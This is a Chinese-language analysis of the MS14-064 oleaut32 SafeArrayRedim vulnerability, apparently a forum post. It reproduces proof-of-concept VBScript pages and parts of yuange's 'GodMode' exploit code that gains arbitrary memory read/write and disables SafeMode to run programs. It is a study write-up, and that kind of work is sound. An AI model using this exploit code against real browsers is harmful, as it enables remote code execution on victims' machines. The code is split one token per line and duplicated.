oleaut32.dll
中SafeArrayRedim
在进行数组重新定义时未对传入参数psaboundNew
进行有效校验,以致可以越界读写,进而造成任意代码执行。
Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT Gold and 8.1
MS14-064
请移步VBScript Scripting Engine初探 。
分析所用POC如下:
打开该POC,使用WinDbg附加调试,于vbscript!RedimPreserveArray
函数处设断,允许阻止的内容:
执行到call oleaut32.dll!SafeArrayRedim
处,跟进分析:
首先是判断传入参数psa
与psaboundNew
均不为空:
之后对psa.fFeatures
,psa.cDims
及psa.cLocks
进行判断:
call SafeArraySize
计算数组元素占用空间大小:
将psaboundNew
写入psa.rgsabound
中:
调整后数组:
计算调整后数组元素占用空间大小,减去原来数组元素占用空间大小:
由于此时ebx=80000000
,故执行结果为负数指令分支 :
ole32!CRetailMalloc_Alloc
函数用于为HeapAlloc
传递参数并调用之:
由于申请空间远远超过可分配空间大小,故分配失败,直接跳转到函数末返回错误值:
由此,便可实现任意地址读写。
下面来看看正常执行流程,修改POC如下:
调整后数组元素占用空间大小-原来数组元素占用空间大小=0x50
-0x70
=ffffffe0
:
对其取相反数后申请如此大小空间:
之后将数组多余元素即arrayA(5)—arrayA(6)
复制到此空间内:
call ole32!CRetailMalloc_Realloc
重新分配堆块:
总结:
POC中&h8000000
(该值经过SafeArraySize
函数计算后为0x80000000)正是利用以上三点,实现任意地址读写——test ebx, ebx
与jge
组合进行有符号数比较,neg
对其取反仍为0x80000000。
Exp来自yuange 。
第一部分:
通过循环不断重新定义数组,扩大数组规模,直至数组aa
与ab
于内存中相邻(准确 来说,二者相差8字节):
ab(0)=1.123456789012345678901234567890
,该值转换IEEE浮点数可通过IEEE 754 Calculator 计算:
如此一来,可通过aa
数组访问ab
数组元素(由ab
起始位置偏移8字节)。type1=&h2f66
判断是由于GetVarType
函数返回前会将vt
与0xFFFFBFFF
作与运算:
第二部分:
先来看i=testaa
操作——将函数赋值给变量。简化版如下:
于vbscript!VbsIsEmpty
断下:
通过ba w 2 1dc9e68
与ba w 4 1dc9e68+8
两条指令对栈顶设断,第二次断下时,修改vt
为0x4C
:
第三次断下:
第四次断下,更改vt
为0x01
(VT_NULL = 0x0001
):
但其仍存储的是vbscript!CScriptEntryPoint
对象,其后赋值给i
。On Error Resume Next
在此处尤为重要,是否加入该语句执行情况对比:
未加入On Error Resume Next
语句最终会调用CSession::ReportError
:
而不会执行后续i = null
语句,感兴趣的读者可自行探索CScriptRuntime::RunNoEH
函数,不在这里过多展开(该函数功能复杂,笔者仅是简单跟踪是否加入On Error Resume Next
语句的执行流):
开启任意读写后执行aa(a1)=i
:
ab(0)=6.36598737437801E-314
:
aa(a1+2)=myarray
:
ab(2)=1.74088534731324E-310
:
关于此处的调试可于vbscript!VbsIsEmpty
函数设断,配合如下修改:
第一次断下后,可获得数组元素存储位置:
mydata=aa(a1)
:
第三部分:
该函数功能用于读取参数add
指向内存,关键函数是cbLengthBstr
(具体请参考VBScript Scripting Engine初探——0x05 LenB函数 一节)。ab(0)=1.69759663316747E-313
:
完成读取:
第四部分:
第一次读取结果见上文图片,i=readmemo(i+16)
第二次读取:
该地址为vbscript!COleScript
对象:
通过循环于该对象偏移0x120
之后搜寻0x0E
,该值用于检查是否处于SafeMode:
aa(a1+2)
存储的是之前构造数组对象——myarray
:
myarray
起始地址为0,rgsabound.cElements
为0x7fff0000
,故可读写vbscript!COleScript+0x170
处内容:
修改完成,进入GodMode,成功弹出notepad.exe。
Microsoft Docs——SAFEARRAY
VBScript Scripting Engine初探
<!doctype html>
<html lang
=
"en"
>
<head>
<
/
head>
<body>
<script LANGUAGE
=
"VBScript"
>
On Error Resume
Next
Dim arrayA()
Dim size
Dim over
size
=
&h5
over
=
&h8000000
+
size
Redim Preserve arrayA(size)
Redim Preserve arrayA(over)
arrayA(size
+
1
)
=
"Hello"
<
/
script>
<
/
body>
<
/
html>
<!doctype html>
<html lang
=
"en"
>
<head>
<
/
head>
<body>
<script LANGUAGE
=
"VBScript"
>
On Error Resume
Next
Dim arrayA()
Dim size
Dim over
size
=
&h5
over
=
&h8000000
+
size
Redim Preserve arrayA(size)
Redim Preserve arrayA(over)
arrayA(size
+
1
)
=
"Hello"
<
/
script>
<
/
body>
<
/
html>
<!doctype html>
<html lang
=
"en"
>
<head>
<
/
head>
<body>
<script LANGUAGE
=
"VBScript"
>
On Error Resume
Next
Dim arrayA()
Dim size
Dim over
size
=
&h6
resize
=
&h4
Redim Preserve arrayA(size)
arrayA(
0
)
=
"Jane"
arrayA(
5
)
=
"Alan"
Redim Preserve arrayA(resize)
IsEmpty(arrayA)
<
/
script>
<
/
body>
<
/
html>
<!doctype html>
<html lang
=
"en"
>
<head>
<
/
head>
<body>
<script LANGUAGE
=
"VBScript"
>
On Error Resume
Next
Dim arrayA()
Dim size
Dim over
size
=
&h6
resize
=
&h4
Redim Preserve arrayA(size)
arrayA(
0
)
=
"Jane"
arrayA(
5
)
=
"Alan"
Redim Preserve arrayA(resize)
IsEmpty(arrayA)
<
/
script>
<
/
body>
<
/
html>
function BeginInit()
Randomize()
redim aa(
5
)
redim ab(
5
)
a0
=
13
+
17
*
rnd(
6
)
a3
=
7
+
3
*
rnd(
5
)
end function
function Create()
On Error Resume
Next
dim i
Create
=
False
For i
=
0
To
400
If Over()
=
True
Then
' document.write(i)
Create
=
True
Exit For
End If
Next
end function
......
function Over()
On Error Resume
Next
dim type1,type2,type3
Over
=
False
a0
=
a0
+
a3
a1
=
a0
+
2
a2
=
a0
+
&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2)
type1
=
1
ab(
0
)
=
1.123456789012345678901234567890
aa(a0)
=
10
If(IsObject(aa(a1
-
1
))
=
False
) Then
if
(intVersion<
4
) then
mem
=
cint(a0
+
1
)
*
16
j
=
vartype(aa(a1
-
1
))
if
((j
=
mem
+
4
)
or
(j
*
8
=
mem
+
8
)) then
if
(vartype(aa(a1
-
1
))<>
0
) Then
If(IsObject(aa(a1))
=
False
) Then
type1
=
VarType(aa(a1))
end
if
end
if
else
redim Preserve aa(a0)
exit function
end
if
else
if
(vartype(aa(a1
-
1
))<>
0
) Then
If(IsObject(aa(a1))
=
False
) Then
type1
=
VarType(aa(a1))
end
if
end
if
end
if
end
if
'
0x6f66
&
0xFFFFBFFF
=
0x2f66
If(type1
=
&h2f66) then
Over
=
True
End If
If(type1
=
&hB9AD) Then
Over
=
True
win9x
=
1
End If
redim Preserve aa(a0)
end function
function BeginInit()
Randomize()
redim aa(
5
)
redim ab(
5
)
a0
=
13
+
17
*
rnd(
6
)
a3
=
7
+
3
*
rnd(
5
)
end function
function Create()
On Error Resume
Next
dim i
Create
=
False
For i
=
0
To
400
If Over()
=
True
Then
' document.write(i)
Create
=
True
Exit For
End If
Next
end function
......
function Over()
On Error Resume
Next
dim type1,type2,type3
Over
=
False
a0
=
a0
+
a3
a1
=
a0
+
2
a2
=
a0
+
&h8000000
redim Preserve aa(a0)
redim ab(a0)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)